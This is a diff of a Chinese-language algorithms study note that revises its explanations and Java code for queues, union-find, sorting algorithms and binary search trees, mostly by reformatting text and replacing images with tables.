@ -309,10 +301,12 @@ public class Queue<Item> {
|
||||
}
|
||||
|
||||
// 出队列
|
||||
public Item dequeue(){
|
||||
public Item dequeue() {
|
||||
if (isEmpty()) return null;
|
||||
Node node = first;
|
||||
first = first.next;
|
||||
N--;
|
||||
if (isEmpty()) last = null;
|
||||
return node.item;
|
||||
}
|
||||
}
|
||||
@ -320,21 +314,21 @@ public class Queue<Item> {
|
||||
|
||||
# 三、union-find
|
||||
|
||||
<font size=4> **概览** </font> <br>
|
||||
|
||||
用于解决动态连通性问题,能动态连接两个点,并且判断两个点是否连接。
|
||||
用于解决动态连通性问题,能动态连接两个点,并且判断两个点是否连通。
|
||||
|
||||
<div align="center"> <img src="../pics//1dc67ff6-d29b-4864-baac-fd6b23f9b2ac.png" width="200"/> </div><br>
|
||||
<div align="center"> <img src="../pics//9d0a637c-6a8f-4f5a-99b9-fdcfa26793ff.png" width="400"/> </div><br>
|
||||
|
||||
<font size=4> **API** </font> <br>
|
||||
|
||||
<div align="center"> <img src="../pics//0e6cf8bd-b84e-4b3c-b79d-40d7dd54e120.png" width="600"/> </div><br>
|
||||
|
||||
<font size=4> **基本数据结构** </font> <br>
|
||||
| 方法 | 描述 |
|
||||
| :---: | :---: |
|
||||
| UF(int N) | 构造一个大小为 N 的并查集 |
|
||||
| void union(int p, int q) | 连接 p 和 q 节点 |
|
||||
| int find(int p) | 查找 p 所在的连通分量 |
|
||||
| boolean connected(int p, int q) | 判断 p 和 q 节点是否连通 |
|
||||
|
||||
```java
|
||||
public class UF {
|
||||
// 使用 id 数组来保存点的连通信息
|
||||
private int[] id;
|
||||
|
||||
public UF(int N) {
|
||||
@ -352,15 +346,19 @@ public class UF {
|
||||
|
||||
## quick-find
|
||||
|
||||
保证在同一连通分量的所有触点的 id 值相等。
|
||||
可以快速进行 find 操作,即可以快速判断两个节点是否连通。
|
||||
|
||||
这种方法可以快速取得一个触点的 id 值,并且判断两个触点是否连通,但是 union 的操作代价却很高,需要将其中一个连通分量中的所有节点 id 值都修改为另一个节点的 id 值。
|
||||
同一连通分量的所有节点的 id 值相等。
|
||||
|
||||
但是 union 操作代价却很高,需要将其中一个连通分量中的所有节点 id 值都修改为另一个节点的 id 值。
|
||||
|
||||
<div align="center"> <img src="../pics//8f0cc500-5994-4c7a-91a9-62885d658662.png" width="350"/> </div><br>
|
||||
|
||||
```java
|
||||
public int find(int p) {
|
||||
public int find(int p) {
|
||||
return id[p];
|
||||
}
|
||||
public void union(int p, int q) {
|
||||
}
|
||||
public void union(int p, int q) {
|
||||
int pID = find(p);
|
||||
int qID = find(q);
|
||||
|
||||
@ -368,14 +366,16 @@ public class UF {
|
||||
for (int i = 0; i < id.length; i++) {
|
||||
if (id[i] == pID) id[i] = qID;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## quick-union
|
||||
|
||||
在 union 时只将触点的 id 值指向另一个触点 id 值,不直接用 id 来存储所属的连通分量。这样就构成一个倒置的树形结构,根节点需要指向自己。在进行查找一个节点所属的连通分量时,要一直向上查找直到根节点,并使用根节点的 id 值作为本连通分量的 id 值。
|
||||
可以快速进行 union 操作,只需要修改一个节点的 id 值即可。
|
||||
|
||||
<div align="center"> <img src="../pics//e1cd89d1-8973-41d0-8ea9-940d94c314d9.jpg" width="500"/> </div><br>
|
||||
但是 find 操作开销很大,因为同一个连通分量的节点 id 值不同,id 值只是用来指向另一个节点。因此需要一直向上查找操作,直到找到最上层的节点。
|
||||
|
||||
<div align="center"> <img src="../pics//5d4a5181-65fb-4bf2-a9c6-899cab534b44.png" width="350"/> </div><br>
|
||||
|
||||
```java
|
||||
public int find(int p) {
|
||||
@ -393,7 +393,7 @@ public class UF {
|
||||
|
||||
这种方法可以快速进行 union 操作,但是 find 操作和树高成正比,最坏的情况下树的高度为触点的数目。
|
||||
|
||||
<div align="center"> <img src="../pics//83575315-20b5-44a6-bf58-94460a141ffa.jpg" width="400"/> </div><br>
|
||||
<div align="center"> <img src="../pics//bfbb11e2-d208-4efa-b97b-24cd40467cd8.png" width="150"/> </div><br>
|
||||
|
||||
## 加权 quick-union
|
||||
|
||||
@ -401,7 +401,7 @@ public class UF {
|
||||
|
||||
理论研究证明,加权 quick-union 算法构造的树深度最多不超过 logN。
|
||||
|
||||
<div align="center"> <img src="../pics//9a30b932-f69f-40a1-9564-a1354ff8cf29.jpg" width="400"/> </div><br>
|
||||
<div align="center"> <img src="../pics//a4c17d43-fa5e-4935-b74e-147e7f7e782c.png" width="200"/> </div><br>
|
||||
|
||||
```java
|
||||
public class WeightedQuickUnionUF {
|
||||
@ -448,24 +448,27 @@ public class WeightedQuickUnionUF {
|
||||
|
||||
## 各种 union-find 算法的比较
|
||||
|
||||
<div align="center"> <img src="../pics//c11f5e3a-7a28-4db7-87b1-29ba1a2f2d72.jpg" width="600"/> </div><br>
|
||||
| 算法 | union | find |
|
||||
| :---: | :---: | :---: |
|
||||
| quick-find | N | 1 |
|
||||
| quick-union | 树高 | 树高 |
|
||||
| 加权 quick-union | logN | logN |
|
||||
| 路径压缩的加权 quick-union | 非常接近 1 | 非常接近 1 |
|
||||
|
||||
# 四、排序
|
||||
|
||||
<font size=4> **约定** </font><br>
|
||||
|
||||
待排序的元素需要实现 Java 的 Comparable 接口,该接口有 compareTo() 方法。
|
||||
待排序的元素需要实现 Java 的 Comparable 接口,该接口有 compareTo() 方法,可以用它来判断两个元素的大小关系。
|
||||
|
||||
研究排序算法的成本模型时,计算的是比较和交换的次数。
|
||||
|
||||
使用辅助函数 less() 和 exch() 来进行比较和交换的操作,使得代码的可读性和可移植性更好。
|
||||
|
||||
```java
|
||||
private boolean less(Comparable v, Comparable w){
|
||||
private boolean less(Comparable v, Comparable w) {
|
||||
return v.compareTo(w) < 0;
|
||||
}
|
||||
|
||||
private void exch(Comparable[] a, int i, int j){
|
||||
private void exch(Comparable[] a, int i, int j) {
|
||||
Comparable t = a[i];
|
||||
a[i] = a[j];
|
||||
a[j] = t;
|
||||
@ -476,11 +479,11 @@ private void exch(Comparable[] a, int i, int j){
|
||||
|
||||
找到数组中的最小元素,将它与数组的第一个元素交换位置。再从剩下的元素中找到最小的元素,将它与数组的第二个元素交换位置。不断进行这样的操作,直到将整个数组排序。
|
||||
|
||||
<div align="center"> <img src="../pics//222768a7-914f-4d64-b874-d98f3b926fb6.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//ed7b96ac-6428-4bd5-9986-674c54c2a959.png" width="200"/> </div><br>
|
||||
|
||||
```java
|
||||
public class Selection {
|
||||
public static void sort(Comparable[] a) {
|
||||
public void sort(Comparable[] a) {
|
||||
int N = a.length;
|
||||
for (int i = 0; i < N; i++) {
|
||||
int min = i;
|
||||
@ -497,13 +500,13 @@ public class Selection {
|
||||
|
||||
## 插入排序
|
||||
|
||||
入排序从左到右进行,每次都将当前元素插入到左部已经排序的数组中,使得插入之后左部数组依然有序。
|
||||
插入排序从左到右进行,每次都将当前元素插入到左部已经排序的数组中,使得插入之后左部数组依然有序。
|
||||
|
||||
<div align="center"> <img src="../pics//065c3bbb-3ea0-4dbf-8f26-01d0e0ba7db7.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//c9a1de44-b1c0-4d13-a654-827d4ef8a723.png" width="200"/> </div><br>
|
||||
|
||||
```java
|
||||
public class Insertion {
|
||||
public static void sort(Comparable[] a) {
|
||||
public void sort(Comparable[] a) {
|
||||
int N = a.length;
|
||||
for (int i = 1; i < N; i++) {
|
||||
for (int j = i; j > 0 && less(a[j], a[j - 1]); j--) {
|
||||
@ -514,14 +517,14 @@ public class Insertion {
|
||||
}
|
||||
```
|
||||
|
||||
插入排序的复杂度取决于数组的初始顺序,如果数组已经部分有序了,那么插入排序会很快。平均情况下插入排序需要 \~N<sup>2</sup>/4 比较以及 \~N<sup>2</sup>/4 次交换,最坏的情况下需要 \~N<sup>2</sup>/2 比较以及 \~N<sup>2</sup>/2 次交换,最坏的情况是数组是逆序的;而最好的情况下需要 N-1 次比较和 0 次交换,最好的情况就是数组已经有序了。
|
||||
插入排序的复杂度取决于数组的初始顺序,如果数组已经部分有序了,那么插入排序会很快。
|
||||
|
||||
- 平均情况下插入排序需要 \~N<sup>2</sup>/4 比较以及 \~N<sup>2</sup>/4 次交换;
|
||||
- 最坏的情况下需要 \~N<sup>2</sup>/2 比较以及 \~N<sup>2</sup>/2 次交换,最坏的情况是数组是逆序的;
|
||||
- 最好的情况下需要 N-1 次比较和 0 次交换,最好的情况就是数组已经有序了。
|
||||
|
||||
插入排序对于部分有序数组和小规模数组特别高效。
|
||||
|
||||
<font size=3> **选择排序和插入排序的比较** </font> </br>
|
||||
|
||||
对于随机排序的无重复主键的数组,插入排序和选择排序的运行时间是平方级别的,两者之比是一个较小的常数。
|
||||
|
||||
## 希尔排序
|
||||
|
||||
对于大规模的数组,插入排序很慢,因为它只能交换相邻的元素,如果要把元素从一端移到另一端,就需要很多次操作。
|
||||
@ -530,11 +533,11 @@ public class Insertion {
|
||||
|
||||
希尔排序使用插入排序对间隔 h 的序列进行排序,如果 h 很大,那么元素就能很快的移到很远的地方。通过不断减小 h,最后令 h=1,就可以使得整个数组是有序的。
|
||||
|
||||
<div align="center"> <img src="../pics//8320bad6-3f91-4a15-8e3d-68e8f39649b5.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//cdbe1d12-5ad9-4acb-a717-bbc822c2acf3.png" width="500"/> </div><br>
|
||||
|
||||
```java
|
||||
public class Shell {
|
||||
public static void sort(Comparable[] a) {
|
||||
public void sort(Comparable[] a) {
|
||||
int N = a.length;
|
||||
int h = 1;
|
||||
while (h < N / 3) {
|
||||
@ -558,7 +561,7 @@ public class Shell {
|
||||
|
||||
归并排序的思想是将数组分成两部分,分别进行排序,然后归并起来。
|
||||
|
||||
<div align="center"> <img src="../pics//dcf265ad-fe35-424d-b4b7-d149cdf239f4.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//8dfb4cc9-26da-45e7-b820-4576fa1cbb0e.png" width="350"/> </div><br>
|
||||
|
||||
### 1. 归并方法
|
||||
|
||||
@ -566,9 +569,9 @@ public class Shell {
|
||||
|
||||
```java
|
||||
public class MergeSort {
|
||||
private static Comparable[] aux;
|
||||
private Comparable[] aux;
|
||||
|
||||
private static void merge(Comparable[] a, int lo, int mid, int hi) {
|
||||
private void merge(Comparable[] a, int lo, int mid, int hi) {
|
||||
int i = lo, j = mid + 1;
|
||||
|
||||
for (int k = lo; k <= hi; k++) {
|
||||
@ -587,13 +590,16 @@ public class MergeSort {
|
||||
|
||||
### 2. 自顶向下归并排序
|
||||
|
||||
<div align="center"> <img src="../pics//0c55e11c-d3ce-4cd8-b139-028aea6f40e3.png" width="450"/> </div><br>
|
||||
|
||||
|
||||
```java
|
||||
public static void sort(Comparable[] a) {
|
||||
public void sort(Comparable[] a) {
|
||||
aux = new Comparable[a.length];
|
||||
sort(a, 0, a.length - 1);
|
||||
}
|
||||
|
||||
private static void sort(Comparable[] a, int lo, int hi) {
|
||||
private void sort(Comparable[] a, int lo, int hi) {
|
||||
if (hi <= lo) return;
|
||||
int mid = lo + (hi - lo) / 2;
|
||||
sort(a, lo, mid);
|
||||
@ -602,22 +608,16 @@ private static void sort(Comparable[] a, int lo, int hi) {
|
||||
}
|
||||
```
|
||||
|
||||
<div align="center"> <img src="../pics//6468a541-3a9a-4008-82b6-03a0fe941d2a.png"/> </div><br>
|
||||
因为每次都将问题对半分成两个子问题,而这种对半分的算法复杂度一般为 O(NlogN),因此该归并排序方法的时间复杂度也为 O(NlogN)。
|
||||
|
||||
<div align="center"> <img src="../pics//c7665f73-c52f-4ce4-aed3-592bbd76265b.png"/> </div><br>
|
||||
|
||||
因为每次都将问题对半分成两个子问题,而这种对半分的算法复杂度一般为 O(Nlog<sub>N</sub>),因此该归并排序方法的时间复杂度也为 O(Nlog<sub>N</sub>)。
|
||||
|
||||
因为小数组的递归操作会过于频繁,因此使用插入排序来处理小数组将会获得更高的性能。
|
||||
小数组的递归操作会过于频繁,可以在数组过小时切换到插入排序来提高性能。
|
||||
|
||||
### 3. 自底向上归并排序
|
||||
|
||||
先归并那些微型数组,然后成对归并得到的子数组。
|
||||
|
||||
<div align="center"> <img src="../pics//c7b9b4c8-83d1-4eb0-8408-ea6576a9ed90.png"/> </div><br>
|
||||
|
||||
```java
|
||||
public static void busort(Comparable[] a) {
|
||||
public void busort(Comparable[] a) {
|
||||
int N = a.length;
|
||||
aux = new Comparable[N];
|
||||
for (int sz = 1; sz < N; sz += sz) {
|
||||
@ -632,34 +632,41 @@ public static void busort(Comparable[] a) {
|
||||
|
||||
### 1. 基本算法
|
||||
|
||||
归并排序将数组分为两个子数组分别排序,并将有序的子数组归并使得整个数组排序;快速排序通过一个切分元素将数组分为两个子数组,左子数组小于等于切分元素,右子数组大于等于切分元素,将这两个子数组排序也就将整个数组排序了。
|
||||
- 归并排序将数组分为两个子数组分别排序,并将有序的子数组归并使得整个数组排序;
|
||||
- 快速排序通过一个切分元素将数组分为两个子数组,左子数组小于等于切分元素,右子数组大于等于切分元素,将这两个子数组排序也就将整个数组排序了。
|
||||
|
||||
<div align="center"> <img src="../pics//61b4832d-71f3-413c-84b6-237e219b9fdc.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//ab77240d-7338-4547-9183-00215e7220ec.png" width="500"/> </div><br>
|
||||
|
||||
```java
|
||||
public class QuickSort {
|
||||
public static void sort(Comparable[] a) {
|
||||
public void sort(Comparable[] a) {
|
||||
shuffle(a);
|
||||
sort(a, 0, a.length - 1);
|
||||
}
|
||||
|
||||
private static void sort(Comparable[] a, int lo, int hi) {
|
||||
private void sort(Comparable[] a, int lo, int hi) {
|
||||
if (hi <= lo) return;
|
||||
int j = partition(a, lo, hi);
|
||||
sort(a, lo, j - 1);
|
||||
sort(a, j + 1, hi);
|
||||
}
|
||||
|
||||
private void shuffle(Comparable[] array) {
|
||||
List<Comparable> list = Arrays.asList(array);
|
||||
Collections.shuffle(list);
|
||||
list.toArray(array);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 2. 切分
|
||||
|
||||
取 a[lo] 作为切分元素,然后从数组的左端向右扫描直到找到第一个大于等于它的元素,再从数组的右端向左扫描找到第一个小于等于它的元素,交换这两个元素,并不断继续这个过程,就可以保证左指针的左侧元素都不大于切分元素,右指针 j 的右侧元素都不小于切分元素。当两个指针相遇时,将切分元素 a[lo] 和左子数组最右侧的元素 a[j] 交换然后返回 j 即可。
|
||||
取 a[lo] 作为切分元素,然后从数组的左端向右扫描直到找到第一个大于等于它的元素,再从数组的右端向左扫描找到第一个小于等于它的元素,交换这两个元素,并不断进行这个过程,就可以保证左指针 i 的左侧元素都不大于切分元素,右指针 j 的右侧元素都不小于切分元素。当两个指针相遇时,将切分元素 a[lo] 和 a[j] 交换位置。
|
||||
|
||||
<div align="center"> <img src="../pics//e198c201-f386-4491-8ad6-f7e433bf992d.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//5aac64d3-2c7b-4f32-9e9a-1df2186f588b.png" width="400"/> </div><br>
|
||||
|
||||
```java
|
||||
private static int partition(Comparable[] a, int lo, int hi) {
|
||||
private int partition(Comparable[] a, int lo, int hi) {
|
||||
int i = lo, j = hi + 1;
|
||||
Comparable v = a[lo];
|
||||
while (true) {
|
||||
@ -677,31 +684,29 @@ private static int partition(Comparable[] a, int lo, int hi) {
|
||||
|
||||
快速排序是原地排序,不需要辅助数组,但是递归调用需要辅助栈。
|
||||
|
||||
快速排序最好的情况下是每次都正好能将数组对半分,这样递归调用次数才是最少的。这种情况下比较次数为 C<sub>N</sub>=2C<sub>N/2</sub>+N,也就是复杂度为 O(Nlog<sub>N</sub>)。
|
||||
快速排序最好的情况下是每次都正好能将数组对半分,这样递归调用次数才是最少的。这种情况下比较次数为 C<sub>N</sub>=2C<sub>N/2</sub>+N,复杂度为 O(NlogN)。
|
||||
|
||||
最坏的情况下,第一次从最小的元素切分,第二次从第二小的元素切分,如此这般。因此最坏的情况下需要比较 N<sup>2</sup>/2。为了防止数组最开始就是有序的,在进行快速排序时需要随机打乱数组。
|
||||
|
||||
### 4. 算法改进
|
||||
|
||||
#### 4.1 切换到插入排序
|
||||
(一)切换到插入排序
|
||||
|
||||
因为快速排序在小数组中也会调用自己,对于小数组,插入排序比快速排序的性能更好,因此在小数组中可以切换到插入排序。
|
||||
|
||||
#### 4.2 三取样
|
||||
(二)三取样
|
||||
|
||||
最好的情况下是每次都能取数组的中位数作为切分元素,但是计算中位数的代价很高。人们发现取 3 个元素并将大小居中的元素作为切分元素的效果最好。
|
||||
|
||||
#### 4.3 三向切分
|
||||
(三)三向切分
|
||||
|
||||
对于有大量重复元素的数组,可以将数组切分为三部分,分别对应小于、等于和大于切分元素。
|
||||
|
||||
三向切分快速排序对于只有若干不同主键的随机数组可以在线性时间内完成排序。
|
||||
|
||||
<div align="center"> <img src="../pics//9d2226dc-c4a3-40ec-9b3e-a46bf86af499.png"/> </div><br>
|
||||
|
||||
```java
|
||||
public class Quick3Way {
|
||||
public static void sort(Comparable[] a, int lo, int hi) {
|
||||
public void sort(Comparable[] a, int lo, int hi) {
|
||||
if (hi <= lo) return;
|
||||
int lt = lo, i = lo + 1, gt = hi;
|
||||
Comparable v = a[lo];
|
||||
@ -723,11 +728,12 @@ public class Quick3Way {
|
||||
|
||||
### 1. 堆
|
||||
|
||||
定义:一颗二叉树的每个节点都大于等于它的两个子节点。
|
||||
堆的某个节点的值总是大于等于子节点的值,并且堆是一颗完全二叉树。
|
||||
|
||||
堆可以用数组来表示,因为堆是一种完全二叉树,而完全二叉树很容易就存储在数组中。位置 k 的节点的父节点位置为 k/2,而它的两个子节点的位置分别为 2k 和 2k+1。这里我们不使用数组索引为 0 的位置,是为了更清晰地理解节点的关系。
|
||||
|
||||
<div align="center"> <img src="../pics//a9b6c1db-0f4a-4e91-8ac8-6b19bd106b51.png"/> </div><br>
|
||||
堆可以用数组来表示,因为堆是一种完全二叉树,而完全二叉树很容易就存储在数组中。位置 k 的节点的父节点位置为 k/2,而它的两个子节点的位置分别为 2k 和 2k+1。这里我们不使用数组索引为 0 的位置,是为了更清晰地描述节点的位置关系。
|
||||
|
||||
<div align="center"> <img src="../pics//f3080f83-6239-459b-8e9c-03b6641f7815.png" width="200"/> </div><br>
|
||||
|
||||
```java
|
||||
public class MaxPQ<Key extends Comparable<Key> {
|
||||
@ -762,6 +768,8 @@ public class MaxPQ<Key extends Comparable<Key> {
|
||||
|
||||
在堆中,当一个节点比父节点大,那么需要交换这个两个节点。交换后还可能比它新的父节点大,因此需要不断地进行比较和交换操作。把这种操作称为上浮。
|
||||
|
||||
<div align="center"> <img src="../pics//33ac2b23-cb85-4e99-bc41-b7b7199fad1c.png" width="400"/> </div><br>
|
||||
|
||||
```java
|
||||
private void swim(int k) {
|
||||
while (k > 1 && less(k / 2, k)) {
|
||||
@ -773,6 +781,8 @@ private void swim(int k) {
|
||||
|
||||
类似地,当一个节点比子节点来得小,也需要不断的向下比较和交换操作,把这种操作称为下沉。一个节点有两个子节点,应当与两个子节点中最大那么节点进行交换。
|
||||
|
||||
<div align="center"> <img src="../pics//72f0ff69-138d-4e54-b7ac-ebe025d978dc.png" width="400"/> </div><br>
|
||||
|
||||
```java
|
||||
private void sink(int k) {
|
||||
while (2 * k <= N) {
|
||||
@ -814,11 +824,19 @@ public Key delMax() {
|
||||
|
||||
由于堆可以很容易得到最大的元素并删除它,不断地进行这种操作可以得到一个递减序列。如果把最大元素和当前堆中数组的最后一个元素交换位置,并且不删除它,那么就可以得到一个从尾到头的递减序列,从正向来看就是一个递增序列。因此很容易使用堆来进行排序,并且堆排序是原地排序,不占用额外空间。
|
||||
|
||||
堆排序要分两个阶段,第一个阶段是把无序数组建立一个堆;第二个阶段是交换最大元素和当前堆的数组最后一个元素,并且进行下沉操作维持堆的有序状态。
|
||||
(一)构建堆
|
||||
|
||||
无序数组建立堆最直接的方法是从左到右遍历数组,然后进行上浮操作。一个更高效的方法是从右至左进行下沉操作,如果一个节点的两个节点都已经是堆有序,那么进行下沉操作可以使得这个节点为根节点的堆有序。叶子节点不需要进行下沉操作,因此可以忽略叶子节点的元素,因此只需要遍历一半的元素即可。
|
||||
|
||||
<div align="center"> <img src="../pics//a2670745-a7b1-497b-90a4-dbddc4e2006d.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//b84ba6fb-312b-4e69-8c77-fb6eb6fb38d4.png" width="300"/> </div><br>
|
||||
|
||||
(二)交换堆顶元素与最后一个元素
|
||||
|
||||
交换之后需要进行下沉操作维持堆的有序状态。
|
||||
|
||||
<div align="center"> <img src="../pics//51fb761d-8ce0-4472-92ff-2f227ac7888a.png" width="300"/> </div><br>
|
||||
|
||||
<div align="center"> <img src="../pics//1f039a45-6b91-4f31-a2c2-6c63eb8bdb56.png" width="300"/> </div><br>
|
||||
|
||||
```java
|
||||
public static void sort(Comparable[] a){
|
||||
@ -847,9 +865,17 @@ public static void sort(Comparable[] a){
|
||||
|
||||
### 1. 排序算法的比较
|
||||
|
||||
<div align="center"> <img src="../pics//be53c00b-2534-4dc6-ad03-c55995c47db9.jpg"/> </div><br>
|
||||
| 算法 | 稳定 | 原地排序 | 时间复杂度 | 空间复杂度 | 备注 |
|
||||
| :---: | :---: | :---: | :---: | :---: | :---: |
|
||||
| 选择排序 | no | yes | N<sup>2</sup> | 1 | |
|
||||
| 插入排序 | yes | yes | N \~ N<sup>2</sup> | 1 | 时间复杂度和初始顺序有关 |
|
||||
| 希尔排序 | no | yes | N 的若干倍乘于递增序列的长度 | 1 | |
|
||||
| 快速排序 | no | yes | NlogN | logN | |
|
||||
| 三向切分快速排序 | no | yes | N \~ NlogN | logN | 适用于有大量重复主键|
|
||||
| 归并排序 | yes | no | NlogN | N | |
|
||||
| 堆排序 | no | yes | NlogN | 1 | | |
|
||||
|
||||
快速排序时最快的通用排序算法,它的内循环的指令很少,而且它还能利用缓存,因为它总是顺序地访问数据。它的运行时间增长数量级为 \~cNlogN,这里的 c 比其他线性对数级别的排序算法都要小。使用三向切分之后,实际应用中可能出现的某些分布的输入能够达到线性级别,而其它排序算法仍然需要线性对数时间。
|
||||
快速排序是最快的通用排序算法,它的内循环的指令很少,而且它还能利用缓存,因为它总是顺序地访问数据。它的运行时间近似为 \~cNlogN,这里的 c 比其他线性对数级别的排序算法都要小。使用三向切分之后,实际应用中可能出现的某些分布的输入能够达到线性级别,而其它排序算法仍然需要线性对数时间。
|
||||
|
||||
### 2. Java 的排序算法实现
|
||||
|
||||
@ -878,28 +904,16 @@ public static Comparable select(Comparable[] a, int k) {
|
||||
|
||||
# 五、查找
|
||||
|
||||
本章使用三种经典的数据结构来实现高效的符号表:二叉查找树、红黑树和散列表。
|
||||
符号表是一种存储键值对的数据结构,主要支持两种操作:插入一个新的键值对、根据给定键得到值。
|
||||
|
||||
## 符号表
|
||||
|
||||
<font size=4> **1. 无序符号表** </font></br>
|
||||
|
||||
<div align="center"> <img src="../pics//b69d7184-ab62-4957-ba29-fb4fa25f9b65.jpg"/> </div><br>
|
||||
|
||||
<font size=4> **2. 有序符号表** </font></br>
|
||||
|
||||
<div align="center"> <img src="../pics//ba6ae411-82da-4d86-a434-6776d1731e8e.jpg"/> </div><br>
|
||||
符号表分为有序和无序两种,有序符号表主要指支持 min()、max() 等根据键的大小关系来实现的操作。
|
||||
|
||||
有序符号表的键需要实现 Comparable 接口。
|
||||
|
||||
查找的成本模型:键的比较次数,在不进行比较时使用数组的访问次数。
|
||||
|
||||
<font size=4> **3. 二分查找实现有序符号表** </font></br>
|
||||
## 二分查找实现有序符号表
|
||||
|
||||
使用一对平行数组,一个存储键一个存储值。
|
||||
|
||||
需要创建一个 Key 类型的 Comparable 对象数组和一个 Value 类型的 Object 对象数组。
|
||||
|
||||
rank() 方法至关重要,当键在表中时,它能够知道该键的位置;当键不在表中时,它也能知道在何处插入新键。
|
||||
|
||||
复杂度:二分查找最多需要 logN+1 次比较,使用二分查找实现的符号表的查找操作所需要的时间最多是对数级别的。但是插入操作需要移动数组元素,是线性级别的。
|
||||
@ -963,13 +977,19 @@ public class BinarySearchST<Key extends Comparable<Key>, Value> {
|
||||
|
||||
## 二叉查找树
|
||||
|
||||
**二叉树** 定义为一个空链接,或者是一个有左右两个链接的节点,每个链接都指向一颗子二叉树。
|
||||
**二叉树** 是一个空链接,或者是一个有左右两个链接的节点,每个链接都指向一颗子二叉树。
|
||||
|
||||
**二叉查找树** (BST)是一颗二叉树,并且每个节点的键都大于其左子树中的任意节点的键而小于右子树的任意节点的键。
|
||||
<div align="center"> <img src="../pics//f9f9f993-8ece-4da7-b848-af9b438fad76.png" width="200"/> </div><br>
|
||||
|
||||
<div align="center"> <img src="../pics//25226bb2-92cc-40cb-9e7f-c44e79fbb64a.jpg"/> </div><br>
|
||||
**二叉查找树** (BST)是一颗二叉树,并且每个节点的值都大于等于其左子树中的所有节点的值而小于等于右子树的所有节点的值。
|
||||
|
||||
二叉查找树的查找操作每次迭代都会让区间减少一半,和二分查找类似。
|
||||
<div align="center"> <img src="../pics//8ae4550b-f0cb-4e4d-9e2b-c550538bf230.png" width="200"/> </div><br>
|
||||
|
||||
BST 有一个重要性质,就是它的中序遍历结果递增排序。
|
||||
|
||||
<div align="center"> <img src="../pics//fbe54203-c005-48f0-8883-b05e564a3173.png" width="200"/> </div><br>
|
||||
|
||||
基本数据结构:
|
||||
|
||||
```java
|
||||
public class BST<Key extends Comparable<Key>, Value> {
|
||||
@ -1000,9 +1020,13 @@ public class BST<Key extends Comparable<Key>, Value> {
|
||||
}
|
||||
```
|
||||
|
||||
(为了方便绘图,二叉树的空链接不画出来。)
|
||||
|
||||
### 1. get()
|
||||
|
||||
如果树是空的,则查找未命中;如果被查找的键和根节点的键相等,查找命中,否则递归地在子树中查找:如果被查找的键较小就在左子树中查找,较大就在右子树中查找。
|
||||
- 如果树是空的,则查找未命中;
|
||||
- 如果被查找的键和根节点的键相等,查找命中;
|
||||
- 否则递归地在子树中查找:如果被查找的键较小就在左子树中查找,较大就在右子树中查找。
|
||||
|
||||
```java
|
||||
public Value get(Key key) {
|
||||
@ -1021,6 +1045,8 @@ private Value get(Node x, Key key) {
|
||||
|
||||
当插入的键不存在于树中,需要创建一个新节点,并且更新上层节点的链接使得该节点正确链接到树中。
|
||||
|
||||
<div align="center"> <img src="../pics//107a6a2b-f15b-4cad-bced-b7fb95258c9c.png" width="200"/> </div><br>
|
||||
|
||||
```java
|
||||
public void put(Key key, Value val) {
|
||||
root = put(root, key, val);
|
||||
@ -1038,15 +1064,21 @@ private Node put(Node x, Key key, Value val) {
|
||||
|
||||
### 3. 分析
|
||||
|
||||
二叉查找树的算法运行时间取决于树的形状,而树的形状又取决于键被插入的先后顺序。最好的情况下树是完全平衡的,每条空链接和根节点的距离都为 logN。在最坏的情况下,树的高度为 N。
|
||||
二叉查找树的算法运行时间取决于树的形状,而树的形状又取决于键被插入的先后顺序。最好的情况下树是完全平衡的,每条空链接和根节点的距离都为 logN。
|
||||
|
||||
<div align="center"> <img src="../pics//73a3983d-dd18-4373-897e-64b706a7e370.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//4d741402-344d-4b7c-be01-e57184bcad0e.png" width="200"/> </div><br>
|
||||
|
||||
复杂度:查找和插入操作都为对数级别。
|
||||
在最坏的情况下,树的高度为 N。
|
||||
|
||||
<div align="center"> <img src="../pics//be7dca03-12ec-456b-8b54-b1b3161f5531.png" width="200"/> </div><br>
|
||||
|
||||
### 4. floor()
|
||||
|
||||
如果 key 小于根节点的 key,那么小于等于 key 的最大键节点一定在左子树中;如果 key 大于根节点的 key,只有当根节点右子树中存在小于等于 key 的节点,小于等于 key 的最大键节点才在右子树中,否则根节点就是小于等于 key 的最大键节点。
|
||||
floor(key):小于等于键的最大键
|
||||
|
||||
- 如果键小于根节点的键,那么 floor(key) 一定在左子树中;
|
||||
- 如果键大于根节点的键,需要先判断右子树中是否存在 floor(key),如果存在就找到,否则根节点就是 floor(key)。
|
||||
|
||||
|
||||
```java
|
||||
public Key floor(Key key) {
|
||||
@ -1070,6 +1102,12 @@ private Node floor(Node x, Key key) {
|
||||
|
||||
### 5. rank()
|
||||
|
||||
rank(key) 返回 key 的排名。
|
||||
|
||||
- 如果键和根节点的键相等,返回左子树的节点数;
|
||||
- 如果小于,递归计算在左子树中的排名;
|
||||
- 如果大于,递归计算在右子树中的排名,并加上左子树的节点数,再加上 1(根节点)。
|
||||
|
||||
```java
|
||||
public int rank(Key key) {
|
||||
return rank(key, root);
|
||||
@ -1087,6 +1125,7 @@ private int rank(Key key, Node x) {
|
||||
|
||||
```java
|
||||
private Node min(Node x) {
|
||||
if (x == null) return null;
|
||||
if (x.left == null) return x;
|
||||
return min(x.left);
|
||||
}
|
||||
@ -1096,7 +1135,7 @@ private Node min(Node x) {
|
||||
|
||||
令指向最小节点的链接指向最小节点的右子树。
|
||||
|
||||
<div align="center"> <img src="../pics//6e2cb20a-8d2a-46fe-9ac7-68a2126b7bd5.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//dd15a984-e977-4644-b127-708cddb8ca99.png" width="500"/> </div><br>
|
||||
|
||||
```java
|
||||
public void deleteMin() {
|
||||
@ -1112,9 +1151,11 @@ public Node deleteMin(Node x) {
|
||||
|
||||
### 8. delete()
|
||||
|
||||
如果待删除的节点只有一个子树,那么只需要让指向待删除节点的链接指向唯一的子树即可;否则,让右子树的最小节点替换该节点。
|
||||
- 如果待删除的节点只有一个子树,那么只需要让指向待删除节点的链接指向唯一的子树即可;
|
||||
- 否则,让右子树的最小节点替换该节点。
|
||||
|
||||
